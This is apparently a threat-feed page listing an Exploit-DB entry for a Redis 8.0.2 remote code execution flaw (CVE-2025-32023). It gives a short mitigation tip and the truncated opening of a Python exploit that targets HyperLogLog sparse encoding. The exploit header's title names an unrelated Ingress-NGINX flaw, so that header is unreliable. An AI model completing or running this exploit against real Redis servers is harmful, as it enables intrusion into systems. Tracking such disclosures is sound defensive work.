Skip to main content
ExploitPublished

Redis 8.0.2 · RCE

Source Exploit-DB RSS Feed

0
Severity
Critical

Rated by Threat Radar

Data as of 10 Apr 2026, 00:24 UTC

What to do

AI-suggested

Until official fixes are available, restrict access to Redis instances to trusted networks and monitor for suspicious activity related to this vulnerability.

Description

Redis 8.0.2 - RCE

Indicators of compromise

Exploit source code

Exploit code for Redis 8.0.2 - RCE2,204 characters
# Exploit Title:  Ingress-NGINX Admission Controller v1.11.1 - FD Injection to RCE 
# Date: 2025-10-07
# Exploit Author: Beatriz Fresno Naumova
# Vendor Homepage: https://redis.io/
# Software Link: https://redis.io/
# Version: Affects :>= 8.0.0, < 8.0.3 
# Tested on: Ubuntu 22.04
# CVE: CVE-2025-32023

import redis
import sys

# --- Configuration ---
REDIS_HOST = 'localhost'
REDIS_PORT = 6379
REDIS_KEY = 'hll:exp'

# HLL encoding type (1 = sparse)
HLL_SPARSE = 1


def p8(value):
    """Convert i…

References

Community reviews

Loading reviews…